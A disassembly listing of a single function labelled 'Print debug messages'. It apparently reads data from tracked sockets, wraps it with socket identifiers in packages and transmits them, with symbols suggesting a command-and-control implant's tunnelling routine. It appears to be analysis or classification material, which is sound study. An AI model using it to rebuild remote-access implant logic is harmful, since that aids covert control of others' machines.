Function at 0x14001eb20
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov r14, qword [0x14002d650]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov rax, qword [r14]
mov rbx, qword [rax + 0x922]
test rbx, rbx
je 0x14001edb2
mov r15d, dword [rbx + 0x14]
test r15d, r15d
jne 0x14001eda9
mov eax, dword [rbx + 0x10]
sub eax, 2
cmp eax, 1
ja 0x14001eda9
mov dword [rsp + 0x3c], 0
xor ebp, ebp
xor r12d, r12d
lea r13, [rsp + 0x58]
mov rax, qword [r14]
mov rcx, qword [rbx + 8]
mov r8, r13
mov edx, 0x4004667f
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
call qword [rax + 0x760]
inc eax
jne 0x14001ebf1
mov eax, dword [rbx + 0x10]
mov r8d, 0x145
lea rdx, str.SocketRead
lea rcx, str._DEBUG::_s::_d__Failed_to_get_the_read_size_from__x_:__d_n
mov r15d, 1
mov dword [rsp + 0x20], eax
mov r9d, dword [rbx]
call sym.DbgPrint
mov rax, qword [r14]
mov dword [rbx + 0x14], 1
call qword [rax + 0x758]
mov dword [rsp + 0x3c], eax
mov ecx, dword [rsp + 0x58]
test ecx, ecx
je 0x14001ecbe
call sym.MmHeapAlloc
mov rcx, qword [rbx + 8]
mov r8d, dword [rsp + 0x58]
mov r9, r13
mov rdx, rax
mov qword [rsp + 0x50], rax
call sym.RecvAll
test eax, eax
jne 0x14001ec32
mov rax, qword [r14]
mov r15d, 1
call qword [rax + 0x758]
mov dword [rsp + 0x3c], eax
mov ecx, dword [rsp + 0x58]
test ecx, ecx
je 0x14001ecbe
test r12, r12
jne 0x14001ec55
mov r12, qword [rsp + 0x50]
mov ebp, ecx
mov qword [rsp + 0x50], 0
jmp 0x14001ecbe
add ecx, ebp
mov rsi, r12
call sym.MmHeapAlloc
mov qword [rsp + 0x40], rax
mov eax, ebp
mov rdi, qword [rsp + 0x40]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, rax
xor eax, eax
mov qword [rsp + 0x48], rdi
mov rdi, r12
rep stosb byte [rdi], al
mov rcx, r12
call sym.MmHeapFree
mov ecx, dword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
xor eax, eax
mov rdi, qword [rsp + 0x48]
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
add ebp, ecx
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x50]
call sym.MmHeapFree
mov r12, qword [rsp + 0x40]
mov qword [rsp + 0x50], 0
cmp dword [rsp + 0x58], 0
jne 0x14001eb8a
test ebp, ebp
je 0x14001ed41
mov eax, dword [rbx]
mov r9d, ebp
mov r8d, 0x179
lea rdx, str.SocketRead
lea rcx, str._DEBUG::_s::_d__Read__ld_bytes_from_socket__x_n
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov ecx, 0x9ec
call sym.PackageCreate
mov edx, 0x11
mov rcx, rax
mov r13, rax
call sym.PackageAddInt32
mov edx, dword [rbx]
mov rcx, r13
call sym.PackageAddInt32
mov edx, dword [rbx + 0x10]
mov rcx, r13
call sym.PackageAddInt32
mov edx, 1
mov rcx, r13
call sym.PackageAddInt32
mov rcx, r13
mov r8d, ebp
mov rdx, r12
call sym.PackageAddBytes
mov rcx, r13
call sym.PackageTransmit
test r15d, r15d
je 0x14001ed93
mov ecx, 0x9ec
call sym.PackageCreate
mov edx, 0x11
mov rcx, rax
mov r15, rax
call sym.PackageAddInt32
mov edx, dword [rbx]
mov rcx, r15
call sym.PackageAddInt32
mov edx, dword [rbx + 0x10]
mov rcx, r15
call sym.PackageAddInt32
xor edx, edx
mov rcx, r15
call sym.PackageAddInt32
mov edx, dword [rsp + 0x3c]
mov rcx, r15
call sym.PackageAddInt32
mov rcx, r15
call sym.PackageTransmit
test r12, r12
je 0x14001eda9
mov ecx, ebp
mov rdi, r12
xor eax, eax
rep stosb byte [rdi], al
mov rcx, r12
call sym.MmHeapFree
mov rbx, qword [rbx + 0x38]
jmp 0x14001eb53
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret